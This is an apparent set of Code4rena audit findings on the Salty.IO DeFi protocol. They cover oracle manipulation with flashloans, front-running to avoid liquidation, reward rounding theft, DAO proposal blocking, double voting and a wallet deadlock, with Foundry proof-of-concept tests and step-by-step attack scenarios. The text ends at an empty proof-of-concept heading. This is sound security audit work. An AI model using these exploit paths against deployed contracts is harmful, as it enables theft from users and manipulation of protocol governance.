Salty.IO - J4X's results

Judge has assessed an item in Issue #913 as 2 risk. The relevant finding follows:

[L-08] First staker can claim all rewards from period before StakingRewards Linhe 78

Issue Description:

In the Salty protocol’s StakingRewards contract, there is an issue related to the distribution of rewards when no stakers are present. When rewards are distributed during a period with no stakers and a user subsequently stakes SALT, the implementation of _increaseUserShare() results in the first staker claiming all the rewards accumulated during the staker-less period:`

// Determine the amount of virtualRewards to add based on the current ratio of rewards/shares. // The ratio of virtualRewards/increaseShareAmount is the same as totalRewards/totalShares for the pool. // The virtual rewards will be deducted later when calculating the user's owed rewards. if ( existingTotalShares != 0 ) // prevent / 0 { // Round up in favor of the protocol. uint256 virtualRewardsToAdd = Math.ceilDiv( totalRewards[poolID] * increaseShareAmount, existingTotalShares );

user.virtualRewards += uint128(virtualRewardsToAdd);
totalRewards[poolID] += uint128(virtualRewardsToAdd);
}

// Update the deposit balances user.userShare += uint128(increaseShareAmount); totalShares[poolID] = existingTotalShares + increaseShareAmount;

emit UserShareIncreased(wallet, poolID, increaseShareAmount); } The current logic is designed to distribute virtual rewards proportionally among stakers. However, to prevent division by zero, the function inadvertently allocates all accumulated rewards to the first staker in cases where they are the first to stake after a period with no stakers.

Recommended Mitigation Steps

To address this issue, the reward distribution mechanism should be adjusted to withhold rewards during periods with no stakers. The rewards accumulated during these periods should be retained by the rewards distributor and only begin to be distributed again once stakers are present. This change ensures that rewards are fairly allocated among stakers and not disproportionately claimed by a single user due to a timing advantage.

Lines of code

https://github.com/code-423n4/2024-01-salty/blob/main/src/price_feed/PriceAggregator.sol#L108-L146

Vulnerability details

Bug Description

In the Salty protocol, a combination of bugs across various components can be exploited by a malicious actor to liquidate healthy positions in the market. This complex exploit involves manipulating price feed and exploiting low liquidity in Salty's AMM pools.

1. Stablecoin

The protocol's USDS stablecoin, pegged to WBTC and WETH, allows users to deposit collateral and mint USDS. If the collateral value falls below 110%, the positions are subject to liquidation.

2. Pricefeeds

Salty protocol's valuation of collateral relies on three price feeds: Salty's own USDS/WBTC pool, Uniswap's USDC/WBTC pool, and Chainlink's USD/BTC price feed. The system requires at least two of these feeds to provide non-zero values for a valid price assessment. However, a critical flaw arises when either Chainlink's feed returns an incorrectly low value or the Uniswap TWAP returns an incorrectly low value. This could happen due to a flash crash. The protocol's price aggregator, in this case would be picking the 2 closest prices to calculate the average price.

function _aggregatePrices( uint256 price1, uint256 price2, uint256 price3 ) internal view returns (uint256)
	{
	uint256 numNonZero;

	if (price1 > 0)
		numNonZero++;

	if (price2 > 0)
		numNonZero++;

	if (price3 > 0)
		numNonZero++;

	// If less than two price sources then return zero to indicate failure
	if ( numNonZero < 2 )
		return 0;

	uint256 diff12 = _absoluteDifference(price1, price2);
	uint256 diff13 = _absoluteDifference(price1, price3);
	uint256 diff23 = _absoluteDifference(price2, price3);

	uint256 priceA;
	uint256 priceB;

	if ( ( diff12 <= diff13 ) && ( diff12 <= diff23 ) )
		(priceA, priceB) = (price1, price2);
	else if ( ( diff13 <= diff12 ) && ( diff13 <= diff23 ) )
		(priceA, priceB) = (price1, price3);
	else if ( ( diff23 <= diff12 ) && ( diff23 <= diff13 ) )
		(priceA, priceB) = (price2, price3);

	uint256 averagePrice = ( priceA + priceB ) / 2;

	// If price sources are too far apart then return zero to indicate failure
	if (  (_absoluteDifference(priceA, priceB) * 100000) / averagePrice > maximumPriceFeedPercentDifferenceTimes1000 )
		return 0;

	return averagePrice;
	}

So that means that if an attacker is able to use the moment of the flash crash in chainlink or uniswap and reduce the salty price very low, he will put the aggregator into a state where it returns a average price which is very close to zero (ignoring the 3rd normal price). Using this low price the attacker can now liquidate before healthy position.

3. Manipulating Salty

As salty is a very new AMM, liquidity in pools will be very low at the start. This would allow an attacker to get a flashloan and use it to destabilize the USDS/WBTC pool (which we will consider our attack vector for this case) until it has a very low price. If this is done by just swapping huge amounts, it will have a rather high cost as the arbitrage will refill the pool until the USDS/WETH pool is also highly skewed. This is indeed possible with a flashloan but will require higher funds.

// swap: swapTokenIn->swapTokenOut
// arb: WETH->swapTokenOut->swapTokenIn->WETH
return (swapTokenOut, swapTokenIn);

Luckily there is an easy way to circumvent the automated arbitrage which can be used on low liquidity pools. When one looks at the arbitrage functionality in the Pools.sol file one can see that the atomic arbitrage only occurs if the value of the token that was swapped in is < 100 WETH (wei).

if ( swapAmountInValueInETH <= PoolUtils.DUST )
	return 0;
}

Abusing this functionality, a user can do thousands or millions of small swaps until the target price is reached. As salty has no fees the user can swap back all the funds the the same way only incurring minor losses due to rounding.

4. Liquidating

Now that the price is wildly skewed the attacker can start liquidating before healthy positions and receive 5% of each positions collateral. A small bonus is, that as he has devalued the collateral, the requirement of him getting at max maxRewardValueForCallingLiquidation has also been circumvented and he can receive more rewards (depending on how far he has devalued the collateral).

5. Back to normal

The malicious user can now use the rewards he reaped to cancel out the minor losses he had in the manipulation due to rounding and return the USDS/WBTC pool. Then he can repay the full flashloan. He can also keep the rest of his stolen rewards for himself.

Impact

The issue allows a malicious attacker to liquidate healthy positions in the case of either chainlink or uniswap experiencing a flash crash or returning incorrect values. As the whole system is based on the 2/3 rule to protect against these cases one would expect that the system is protected, which is unfortunately not the case as the Salty pricefeed can easily be manipulated.

Proof of Concept

This POC shows an exemplary scenario. It simulates a case in which Chainlink has incorrectly reported the value of USD/ETC for one block and an attacker monitoring the price feed has detected this. From this point on an attacker can start with the following steps (explained in more detail above):

1. Acquire a flashloan of WETH
2. Swap it for USDS (possibly in smaller tranches of 100 to reduce cost) in the salty pool
3. Liquidate now unhealthy positions and reap the rewards
4. Stabilize the USDS pool again getting most of the WETH back
5. Repay the WETH flashloan
6. Keep rest of the rewards for oneself

Tools Used

Manual Review

Recommended Mitigation Steps

The issue can be mitigated by using TWAP for the salty pool too, this way the pool can not easily be manipulated using a flashloan.

Assessed type

Oracle

Lines of code

https://github.com/code-423n4/2024-01-salty/blob/main/src/stable/CollateralAndLiquidity.sol#L154

Vulnerability details

Bug Description

In the Salty protocol, the USDS stablecoin is collateralized by WETH/WBTC. Users deposit collateral and borrow USDS based on their collateral's value. A liquidation mechanism activates if the collateral value falls below a set threshold (110% by default).

Unfortunately this measurement can be DOSd, forcing the protocol to incur bad debt. To liquidate a user the liquidateUser() function must be called. This function then calls to the _decreaseUserShare() function. The _decreaseUserShare() function gets called with the useCooldown parameter set to true.

if ( useCooldown )
if ( msg.sender != address(exchangeConfig.dao()) ) // DAO doesn't use the cooldown
	{
	require( block.timestamp >= user.cooldownExpiration, "Must wait for the cooldown to expire" );

	// Update the cooldown expiration for future transactions
	user.cooldownExpiration = block.timestamp + stakingConfig.modificationCooldown();
	}

If this parameter is set, all calls to _decreaseUserShare() will revert while the cooldown has not passed. The cooldown will be restarted everytime a call to _increaseUserShare() happens. So if a user detects that his position will be liquidated, he can frontrun the liquidation and quickly deposit a small amount of collateral restarting his cooldown. The cooldown duration is DAO controlled and can be in the range of 15min-6h. Subsequently the liquidation attempt will revert and the users position will be save from liquidation for up to 6 hours. When the cooldown runs out the user can keep monitoring the mempool and frontrun any new liquidation attempts using the same technique.

Impact

This vulnerability allows users to indefinitely delay liquidation, potentially leading the protocol to incur bad debt. If exploited on a large scale, it could result in the USDS stablecoin becoming undercollateralized, risking a depeg.

Proof of Concept

The exploit scenario is as follows:

• Alice deposits collateral and borrows USDS.
• Bob attempts to liquidate Alice's position when it becomes vulnerable.
• Alice sees Bob's transaction in the mempool and front-runs it by depositing a small amount of collateral.
• Bob's liquidation attempt fails due to the reset cooldown.

function testLiquidateImpossible() public {

	//------------------------- SETUP --------------------------------------------------

	// Total needs to be worth at least $2500
	uint256 depositedWBTC = ( 1000 ether *10**8) / priceAggregator.getPriceBTC();
	uint256 depositedWETH = ( 1000 ether *10**18) / priceAggregator.getPriceETH();

	(uint256 reserveWBTC, uint256 reserveWETH) = pools.getPoolReserves(wbtc, weth);

	//------------------------ TEST---------------------------------------------------------

	// Alice will deposit collateral
	vm.startPrank(alice);
	collateralAndLiquidity.depositCollateralAndIncreaseShare( depositedWBTC * 2, depositedWETH * 2, 0, block.timestamp, false );
	vm.stopPrank();

	// Deposit extra so alice can withdraw all liquidity without having to worry about the DUST reserve limit
	vm.prank(DEPLOYER);
	collateralAndLiquidity.depositCollateralAndIncreaseShare( 1 * 10**8, 1 ether, 0, block.timestamp, false );

	vm.warp( block.timestamp + 1 hours );

	//Alcie borrows the USDS
	vm.startPrank(alice);
	vm.warp( block.timestamp + 1 hours);
	
	uint256 maxUSDS = collateralAndLiquidity.maxBorrowableUSDS(alice);
	collateralAndLiquidity.borrowUSDS( maxUSDS );
	vm.stopPrank();

	// Try and fail to liquidate alice
	vm.expectRevert( "User cannot be liquidated" );
	vm.prank(bob);
	collateralAndLiquidity.liquidateUser(alice);

	// Artificially crash the collateral price
	_crashCollateralPrice();

	//Check if alice would be liquidatable now
	assertEq(collateralAndLiquidity.canUserBeLiquidated(alice), true, "Alice should be liquidatable");

	//Alice sees that bob wants to liquidate her in the mempool and frontruns by depositing a hundred wei (needs to be above DUST) of collateral to keep her position open
	vm.prank(alice);
	collateralAndLiquidity.depositCollateralAndIncreaseShare(101, 101, 0, block.timestamp, false );

	// Bob tries liquidating Alice's position but it reverts due to the cooldown
	vm.prank(bob);

	vm.expectRevert();
	collateralAndLiquidity.liquidateUser(alice);
}

The test must be added to /stable/tests/CollateralAndLiquidity.t.sol and can be run by calling COVERAGE="yes" NETWORK="sep" forge test -vvvv --rpc-url https://rpc.sepolia.org --match-test "testLiquidateImpossible".

Tools Used

Manual Review

Recommended Mitigation Steps

To address this issue, the cooldown mechanism in the _decreaseUserShare() function should be modified. Specifically, when liquidating a user, the function should be called with the useCooldown parameter set to false. This change will prevent users from exploiting the cooldown to avoid liquidation:

_decreaseUserShare( wallet, collateralPoolID, userCollateralAmount, false );

Assessed type

Other

Lines of code

https://github.com/code-423n4/2024-01-salty/blob/main/src/staking/StakingRewards.sol#L132-L133

Vulnerability details

Bug Description

The staking mechanism in the Salty protocol, as outlined in the Staking.sol contract, uses the UserShareInfo struct to track user stakes and rewards. A key aspect of this struct is the virtualRewards variable. virtualRewards is incremented when rewards are claimed via the claimAllRewards() function.

struct UserShareInfo
{
	uint128 userShare; // A user's share for a given poolID
	uint128 virtualRewards; // The amount of rewards that were added to maintain proper rewards/share ratio - and will be deducted from a user's pending rewards.
	uint256 cooldownExpiration;	// The timestamp when the user can modify their share
}

However, a flaw arises during partial unstakes handled by _decreaseUserShare(), where virtualRewardsToRemove is calculated for deduction from virtualRewards.

// For the amountToDecrease determine the proportion of virtualRewards (proportional to all virtualRewards for the user)
// Round virtualRewards down in favor of the protocol
uint256 virtualRewardsToRemove = (user.virtualRewards * decreaseShareAmount) / user.userShare;

As mentioned in the comment, the amount is correctly rounded down, to only reduce the virtualRewards variable by a smaller number, which favors the protocol, and does not allow a user to gain more funds than intended on a later redeem. Unfortunately the virtualRewardsToRemove variable is not only used to reduce the virtualRewards variable. It is also later on used to calculate how many funds a user will get transferred:

// Some of the rewardsForAmount are actually virtualRewards and can't be claimed.
// In the event that virtualRewards are greater than actual rewards - claimableRewards will stay zero.
if ( virtualRewardsToRemove < rewardsForAmount )
	claimableRewards = rewardsForAmount - virtualRewardsToRemove;

// Send the claimable rewards
if ( claimableRewards != 0 )
	salt.safeTransfer( wallet, claimableRewards );

This leads to an issue, as the variable was rounded down before, and is now used to reduce the paid out rewards. The before protocol-favoring rounding has now become the opposite. A malicious user can form multiple partial unstakes, targeting this exact rounding error to receive more rewards than he should get.

The same issue also affects partial liquidity removals.

Impact

This vulnerability enables users to claim more rewards than they are entitled to. Although each instance might involve a small amount, the cumulative effect could be significant due to the frequency of occurrences.

Proof of Concept

In the following fuzz test one can see an example of multiple stakes with multiple unstakes and redeems. Example inputs which led to a revert are:

uint256 amountToUnstake = 1648
uint256 amountToUnstake2 = 4037
uint256 amountToStakeAlice = 6768
uint256 amountToStakeBob = 2574219620
uint256 deposit1 = 10066
uint256 deposit2 = 16507

The POC can be found in the following code snippet.

function testRoundingIssueVirtualShares(uint256 amountToUnstake, uint256 amountToUnstake2, uint256 amountToStakeAlice, uint256 amountToStakeBob, uint256 deposit1, uint256 deposit2) public {
	// --------------- SETUP ----------------------------
	vm.assume(amountToStakeAlice != 0 && amountToStakeAlice <= salt.balanceOf(alice) && 
			amountToStakeBob != 0 && amountToStakeBob <= salt.balanceOf(bob) && 
			amountToUnstake != 0 && amountToUnstake < amountToStakeAlice && 
			amountToUnstake2 != 0 && amountToUnstake2 < amountToStakeAlice && amountToUnstake + amountToUnstake2 < amountToStakeAlice && 
			deposit1 < salt.balanceOf(DEPLOYER) && deposit2 < salt.balanceOf(DEPLOYER) && deposit1 + deposit2 <= salt.balanceOf(DEPLOYER));

	uint256 aliceBalance = salt.balanceOf(alice);

	//Bob stakes some salt
	vm.startPrank(bob);
	staking.stakeSALT(amountToStakeBob);
	vm.stopPrank();

	// Alice stakes some SALT
	vm.startPrank(alice);
	staking.stakeSALT(amountToStakeAlice);
	vm.stopPrank();

	// --------------- ISSUE ----------------------------

	//Some rewards are distributed
	AddedReward[] memory addedRewards = new AddedReward[](1);
	addedRewards[0] = AddedReward( PoolUtils.STAKED_SALT, deposit1);

	vm.startPrank(address(DEPLOYER));
	salt.approve( address(staking), type(uint256).max );
	staking.addSALTRewards(addedRewards);
	vm.stopPrank();

	//Alice claims her first rewards
	bytes32[] memory poolIDsArray = new bytes32[](1);
	poolIDsArray[0] = PoolUtils.STAKED_SALT;
	vm.startPrank(alice);
	staking.claimAllRewards(poolIDsArray);
	vm.stopPrank();

	// Some time passes
	vm.warp(block.timestamp + 1 weeks);

	// More rewards get distributed
	vm.startPrank(address(DEPLOYER));
	addedRewards[0] = AddedReward( PoolUtils.STAKED_SALT, deposit2);
	staking.addSALTRewards(addedRewards);
	vm.stopPrank();

	// Alice unstakes in batches
	vm.startPrank(alice);
	uint256 unstakeID = staking.unstake(amountToUnstake, 52);
	uint256 unstakeID2 = staking.unstake(amountToUnstake2, 52);
	uint256 unstakeID3 = staking.unstake(amountToStakeAlice - amountToUnstake - amountToUnstake2, 52);

	//52 weeks pass
	vm.warp(block.timestamp + 52 weeks);

	//Alice finalizes the unstake
	staking.recoverSALT(unstakeID);
	staking.recoverSALT(unstakeID2);
	staking.recoverSALT(unstakeID3);

	//This is calculated generously, in reality it would potentially be even lower due to rounding down at each redeem of rewards
	uint256 aliceShareOfRewards = (amountToStakeAlice * (deposit1 + deposit2)) / (amountToStakeAlice + amountToStakeBob);

	console.logUint(salt.balanceOf(alice));
	console.logUint(aliceBalance + aliceShareOfRewards);

	//Alice was able to get some of the rewards of bob if this fails
	assertTrue(salt.balanceOf(alice) <= aliceBalance + aliceShareOfRewards);

	vm.stopPrank();
}

The test must be added to /staking/tests/Staking.t.sol and can be run by calling COVERAGE="yes" NETWORK="sep" forge test -vvvv --rpc-url https://rpc.sepolia.org --match-test "testRoundingIssueVirtualShares".

Tools Used

Manual Review

Recommended Mitigation Steps

To address this issue, the function should be adjusted so that while the reduction in virtualRewards continues to be rounded down, the calculation of the transferable amount should use a rounded-up version of virtualRewardsToRemove. This change ensures that users cannot exploit the rounding discrepancy to receive extra rewards:

if ( virtualRewardsToRemove + 1 < rewardsForAmount )
	claimableRewards = rewardsForAmount - (virtualRewardsToRemove + 1);

Implementing this modification will align the actual rewards distribution with the intended mechanism, ensuring fairness and preventing exploitation of rounding errors in the staking rewards system.

Assessed type

Math

Lines of code

https://github.com/code-423n4/2024-01-salty/blob/main/src/dao/Proposals.sol#L167

Vulnerability details

Bug Description

The Salty DAO's proposeTokenWhitelisting() function enforces a limit on simultaneous token whitelisting proposals, based on the maxPendingTokensForWhitelisting parameter, which can be set from 3 to 12:

require( _openBallotsForTokenWhitelisting.length() < daoConfig.maxPendingTokensForWhitelisting(), "The maximum number of token whitelisting proposals are already pending" );

To create a whitelisting proposal, users must hold a specified minimum percentage of the total staked salt, ranging from 0.10% to 2%, as checked in _possiblyCreateProposal():

uint256 totalStaked = staking.totalShares(PoolUtils.STAKED_SALT);
uint256 requiredXSalt = ( totalStaked * daoConfig.requiredProposalPercentStakeTimes1000() ) / ( 100 * 1000 );

require( requiredXSalt > 0, "requiredXSalt cannot be zero" );

uint256 userXSalt = staking.userShareForPool( msg.sender, PoolUtils.STAKED_SALT );
require( userXSalt >= requiredXSalt, "Sender does not have enough xSALT to make the proposal" );

An attacker can exploit this by staking the required minimum percentage in multiple wallets, up to the maxPendingTokensForWhitelisting limit, and then propose whitelisting for invalid or random tokens with each wallet. This action effectively blocks new proposals until the existing ones are finalized, based on the ballotMinimumDuration (3 to 14 days). This blockade is due to the finalizeBallot() function only allowing finalization after the ballotMinimumDuration has passed for a ballot.

Impact

This vulnerability enables an attacker to block a crucial DAO function for up to 14 days, potentially with as little as 0.3% of all staked Salt. Moreover, the attacker could continuously extend the DOS by proposing new invalid whitelisting as soon as previous ones are finalized.

Proof of Concept

As the config parameters can be set by the DAO as wished, we can expect any combination that is within the predefined ranges as a valid state of the contract.

For this issue we will consider the state where

• maxPendingTokensForWhitelisting = 3
• requiredProposalPercentStakeTimes1000 = 100 (0.1%)
• ballotMinimumDuration = 14 days

In this case a malicious actor that owns 3 wallets, which each hold 0.1% of the total staked salt can call proposeTokenWhitelisting() with each wallet and propose a nonviable token. This will lead to a state in which other stakers will not be able to propose any new whitelistings, due to the check for the maxPendingTokensForWhitelisting. This state will continue until the ballotMinimumDuration has passed and the malicious proposals can be finalized. As the malicious actor keeps his stake he can propose a new bad whitelisting as soon as his old one gets finalized, extending the period of DOS over the ballotMinimumDuration indefinitely.

Tools Used

Manual Review

Recommended Mitigation Steps

This issue can be mitigated by increasing the maxPendingTokensForWhitelisting up to a range where it is even with a requiredProposalPercentStake=0.1% infeasible to dos the functionality. An example would be 100-500 as in that case a malicious staker would still need to hold 10% of staked salt which will require significant cost.

Assessed type

DoS

Lines of code

https://github.com/code-423n4/2024-01-salty/blob/main/src/pools/Pools.sol#L187

Vulnerability details

Bug Description

The Salty protocol offers the USDS stablecoin, collateralized by WETH/WBTC. Users can deposit collateral and borrow USDS against it. A key safeguard mechanism is liquidation, which is activated when the collateral value drops below a certain threshold (typically 110%). However, a significant flaw exists in the liquidation process, particularly when there is only one user borrowing USDS.

The process to liquidate a user involves calling the liquidateUser() function, which in turn calls pools.removeLiquidity() to withdraw the user's collateral. However, the pools.removeLiquidity() function checks if the remaining reserves after withdrawal are below the DUST threshold and reverts if they are.

require((reserves.reserve0 >= PoolUtils.DUST) && (reserves.reserve0 >= PoolUtils.DUST), "Insufficient reserves after liquidity removal");

This check creates a situation where, if all the collateral for USDS is held by a single user, it becomes impossible to liquidate this user. Any attempt to liquidate would reduce the reserves below DUST, causing the transaction to revert

Impact

This flaw means the only holder of USDS can evade liquidation, potentially leading to bad debt in the protocol that cannot be recouped or mitigated.

Proof of Concept

The scenario can be demonstrated as follows:

• Alice is the sole depositor of collateral and borrows the maximum allowable USDS.
• Another user, Bob, attempts to liquidate Alice when her collateral value crashes.
• However, the liquidation process reverts because removing Alice's collateral would reduce the reserves below the DUST threshold.

function testLiquidateOnlyHolder() public {
	//------------------------- SETUP --------------------------------------------------

	// Total needs to be worth at least $2500
	uint256 depositedWBTC = ( 1000 ether *10**8) / priceAggregator.getPriceBTC();
	uint256 depositedWETH = ( 1000 ether *10**18) / priceAggregator.getPriceETH();

	(uint256 reserveWBTC, uint256 reserveWETH) = pools.getPoolReserves(wbtc, weth);

	//------------------------ TEST---------------------------------------------------------

	// Alice deposits collateral
	vm.startPrank(alice);
	collateralAndLiquidity.depositCollateralAndIncreaseShare( depositedWBTC * 2, depositedWETH * 2, 0, block.timestamp, false );
	vm.stopPrank();

	//Alcie borrows the USDS
	vm.startPrank(alice);
	vm.warp( block.timestamp + 1 hours);
	
	uint256 maxUSDS = collateralAndLiquidity.maxBorrowableUSDS(alice);
	collateralAndLiquidity.borrowUSDS( maxUSDS );
	vm.stopPrank();

	// Try and fail to liquidate alice
	vm.expectRevert( "User cannot be liquidated" );
	vm.prank(bob);
	collateralAndLiquidity.liquidateUser(alice);

	// Artificially crash the collateral price
	_crashCollateralPrice();

	// Bob tries liquidating Alice's position but it reverts due to the reserves falling below dust if she gets liquidated
	vm.prank(bob);
	vm.expectRevert();
	collateralAndLiquidity.liquidateUser(alice);
}

The test must be added to /stable/tests/CollateralAndLiquidity.t.sol and can be run by calling COVERAGE="yes" NETWORK="sep" forge test -vvvv --rpc-url https://rpc.sepolia.org --match-test "testLiquidateOnlyHolder".

Tools Used

Manual Review

Recommended Mitigation Steps

To resolve this issue, the logic in pools.removeLiquidity() needs to be adjusted. The function should allow the withdrawal of the last collateral, even if it reduces the reserves to zero. This adjustment can be implemented with a conditional check that permits reserves to be either above DUST or exactly zero:

require(((reserves.reserve0 >= PoolUtils.DUST && reserves.reserve0 >= PoolUtils.DUST) || (reserves.reserve0 == 0 && reserves.reserve0 == 0)), "Insufficient reserves after liquidity removal");

With this change, the protocol will maintain its ability to liquidate the sole holder of USDS, ensuring the safeguard against bad debt remains effective.

Assessed type

Other

Lines of code

https://github.com/code-423n4/2024-01-salty/blob/main/src/dao/Proposals.sol#L259

Vulnerability details

Bug Description

In the Salty DAO's governance mechanism, stakers use their staked salt to vote on ballots through the castVote() function.

However, there is a vulnerability where users can unstake their tokens after voting, wait for a part of their staked tokens to become retrievable, restake them using a different address, and vote again on the same proposal. This exploit is possible because the current system does not utilize snapshot-based voting, which would restrict users to voting with the power they held at the time of the ballot's creation.

Impact

This loophole allows malicious stakers to inflate their voting power artificially. They can effectively vote multiple times with the same tokens by restaking them under different addresses, potentially swaying the outcome of proposals and passing malicious ones without genuine consensus from the staker community.

Proof of Concept

The provided Solidity code showcases an instance where a user exploits the system to vote twice on a proposal:

function testDoubleVote() public
{
	// ----------------------------- SETUP -----------------------------

	address charlie = address(0x3333);

	// Set minUnstakeWeeks to 1 which is in the allowed range
	vm.store(address(stakingConfig), bytes32(uint256(1)), bytes32(uint256(1)));

	// Set minUnstakePercent to 50% which is in the allowed range
	vm.store(address(stakingConfig), bytes32(uint256(3)), bytes32(uint256(50)));

	vm.startPrank(alice);
	//Transfer 55% to bob
	salt.transfer(bob, 5500000 ether);
	//Stake the left 45% of salt
	staking.stakeSALT(4500000 ether);
	vm.stopPrank();

	vm.startPrank(bob);
	//Stake 55% of salt
	salt.approve(address(staking), type(uint256).max);
	staking.stakeSALT(5500000 ether);
	vm.stopPrank();

	// ----------------------------- TEST -----------------------------

	//Alice proposes the country exclusion
	vm.startPrank(alice);
	proposals.proposeCountryExclusion( "ZZ", "description" );

	//Alice votes with her 45% of staked 
	proposals.castVote(1, Vote.YES);

	//Afterwards alice unstakes her funds
	uint256 id = staking.unstake(4500000 ether, 1);

	vm.stopPrank();

	vm.startPrank(bob);

	//Bob votes with his 55% of staked against the proposal
	proposals.castVote(1, Vote.NO);
	vm.stopPrank();

	// A week passes
	vm.warp(block.timestamp + 8 days);

	vm.startPrank(alice);
	//Alice retrieves her staked funds
	staking.recoverSALT(id);

	assertTrue(salt.balanceOf(address(alice)) == 2250000 ether, "Alice should have recovered 50% of her SALT");

	// Alice transfers the salt to her 2nd wallet (charlie)
	salt.transfer(charlie, 2250000 ether);

	vm.stopPrank();
	vm.startPrank(charlie);

	// Now alice restakes the retrieved funds
	salt.approve(address(staking), type(uint256).max);
	staking.stakeSALT(2250000 ether);

	// Alice votes again
	proposals.castVote(1, Vote.YES);

	// The proposal finishes
	vm.warp(block.timestamp + 3 days);

	//The ballot gets passed although onlz 45% of tokens voted for it and 55% against it
	dao.finalizeBallot(1);
	assertTrue(dao.countryIsExcluded("ZZ"), "ZZ should be excluded");
}

The test must be added to /dao/tests/Dao.t.sol and can be run by calling COVERAGE="yes" NETWORK="sep" forge test -vvvv --rpc-url https://rpc.sepolia.org --match-test "testDoubleVote".

Tools Used

Manual Review

Recommended Mitigation Steps

To address this vulnerability, it is recommended to adopt a snapshot-based voting mechanism. This can be effectively implemented using the ERC20Votes library for XSalt tokens. The snapshot system would capture the state of each voter's stake at the time of ballot creation, ensuring that their voting power remains fixed for the duration of the vote. This change would prevent the possibility of double voting with the same staked tokens, thereby preserving the integrity of the voting process and ensuring fair and accurate representation of the staker community's consensus.

Assessed type

Governance

Lines of code

https://github.com/code-423n4/2024-01-salty/blob/main/src/ManagedWallet.sol#L49

Vulnerability details

Bug Description

The Salty protocol's ManagedWallet contract, designed for managing 2 wallet addresses, has a critical flaw in its address update process. This process involves a three-step procedure where the main wallet proposes new main and confirmation wallets, the confirmation wallet confirms or rejects the proposal, and there's a 30-day timelock before the change takes effect.

A significant issue arises because the proposedMainWallet and proposedConfirmationWallet are not reset after a rejection. The receive() function, responsible for handling the confirmation or rejection, does not reset these addresses if a proposal is rejected.

receive() external payable
	{
	require( msg.sender == confirmationWallet, "Invalid sender" );

	// Confirm if .05 or more ether is sent and otherwise reject.
	// Done this way in case custodial wallets are used as the confirmationWallet - which sometimes won't allow for smart contract calls.
	if ( msg.value >= .05 ether )
		activeTimelock = block.timestamp + TIMELOCK_DURATION; // establish the timelock
	else
		activeTimelock = type(uint256).max; // effectively never
	}

Additionally, the proposeWallets function is designed to reject any new proposals if a non-zero proposedMainWallet already exists.

// Make sure we're not overwriting a previous proposal (as only the confirmationWallet can reject proposals)

require( proposedMainWallet == address(0), "Cannot overwrite non-zero proposed mainWallet." );

This combination of behaviors leads to a deadlock in the contract where, once a proposal is rejected, no further proposals can be made.

Impact

This bug effectively freezes the ManagedWallet contract, preventing any further updates to the main and confirmation wallets if a proposal is ever rejected.

Proof of Concept

The issue can be demonstrated as follows:

• A main wallet proposes new main and confirmation wallets.
• The confirmation wallet rejects the proposal.
• Subsequent attempts to propose new wallets fail due to the non-reset proposedMainWallet.

function testRejectFreezesFunctionality() public {
	address nonZeroProposedMainWallet = address(0x5555);
	address nonZeroProposedConfirmationWallet = address(0x6666);
	ManagedWallet managedWallet = new ManagedWallet(alice, address(0x2222));

	// Simulate that the mainWallet has already proposed wallets
	vm.prank(alice);
	managedWallet.proposeWallets(nonZeroProposedMainWallet, nonZeroProposedConfirmationWallet);

	//Now the confirmation wallet rejects the proposal
	vm.startPrank(address(this));
	vm.deal(address(this), 0.04 ether);
	(bool success,) = address(managedWallet).call{value: 0.04 ether}("");
	vm.stopPrank();

	// Try proposing new wallets again, which will not be possible
	address newProposedMainWallet = address(0x7777);
	address newProposedConfirmationWallet = address(0x8888);
	vm.startPrank(alice);
	vm.expectRevert("Cannot overwrite non-zero proposed mainWallet.");
	managedWallet.proposeWallets(newProposedMainWallet, newProposedConfirmationWallet);

	//Try changing the wallets
	vm.expectRevert();
	managedWallet.changeWallets();

	// Spin the time 1000 years forwards
	vm.warp(block.timestamp + 365000 days);

	//Try changing the wallets again
	vm.expectRevert();
	managedWallet.changeWallets();

	//ManagedWallet is frozen and the addresses can never be changed.
}

The test must be added to /root_tests/ManagedWallet.t.t.sol and can be run by calling COVERAGE="yes" NETWORK="sep" forge test -vvvv --rpc-url https://rpc.sepolia.org --match-test "testRejectFreezesFunctionality".

Tools Used

Manual Review

Recommended Mitigation Steps

To resolve this issue, the contract needs to reset the proposedMainWallet and proposedConfirmationWallet whenever a proposal is rejected. This can be implemented in the receive() function as follows:

solidity

receive() external payable
	{
	require( msg.sender == confirmationWallet, "Invalid sender" );

	// Confirm if .05 or more ether is sent and otherwise reject.
	// Done this way in case custodial wallets are used as the confirmationWallet - which sometimes won't allow for smart contract calls.
	if ( msg.value >= .05 ether )
		activeTimelock = block.timestamp + TIMELOCK_DURATION; // establish the timelock
	else
		activeTimelock = type(uint256).max; // effectively never
	}

Assessed type

DoS

Judge has assessed an item in Issue #913 as 2 risk. The relevant finding follows:

[L-01] Reserves Above DUST Incorrectly Enforced Pools Line 270

Issue Description:

In the Salty protocol’s _adjustReservesForSwap() function, the intention, as per the accompanying comment (“// Make sure that the reserves after swap are above DUST”), is to ensure that the reserves always remain above a certain threshold defined by the DUST constant. However, the current implementation of this check uses >= (greater than or equal to), which leads to an off-by-one error. The actual requirement, as intended, is for the reserves to be strictly greater than DUST.

Current implementation:

require( (reserve0 >= PoolUtils.DUST) && (reserve1 >= PoolUtils.DUST), "Insufficient reserves after swap"); This condition allows the reserves to be exactly equal to DUST, which contradicts the intended logic of keeping them above DUST.

Recommended Mitigation Steps

To align the implementation with the intended behavior, the require statement should be adjusted to enforce that reserves are strictly greater than DUST. This change will ensure that the reserves are maintained above the minimal threshold, as originally planned.

Proposed change:

require( (reserve0 > PoolUtils.DUST) && (reserve1 > PoolUtils.DUST), "Insufficient reserves after swap"); By modifying the condition to > (greater than), the function will correctly enforce that the reserves are maintained above the DUST level, thus adhering to the protocol’s intended safety and operational standards.

Lines of code

https://github.com/code-423n4/2024-01-salty/blob/main/src/dao/Proposals.sol#L396 https://github.com/code-423n4/2024-01-salty/blob/main/src/dao/Proposals.sol#L317-L339

Vulnerability details

Bug Description

In the Salty DAO, a voting mechanism exists where users can propose and vote on ballots. The requiredQuorumForBallotType() function plays a crucial role in ensuring that a sufficient percentage of stakers has voted on a ballot, as it calculates the quorum by multiplying the total stakes with the set percentage for the ballot type.

However, the issue arises because this function uses the current total amount of staked salt rather than the amount that was staked at the time of the ballot's creation. This discrepancy allows a malicious staker to vote on a ballot, then unstake their salt, effectively reducing the total staked amount and the required quorum. Consequently, a ballot can be finalized with fewer votes than originally intended.

This issue can also be exploited in the opposite direction, as a malicious user could frontrun the finalization of a ballot, which already slightly passes the quorum, and quickly stake salt. This way the quorum would be lifted above the current votes resulting in the other users call to finalize reverting.

Impact

This vulnerability allows a malicious user to manipulate the quorum requirements and finalize ballots that should not be passable, as they haven't met the intended quorum threshold.

Proof of Concept

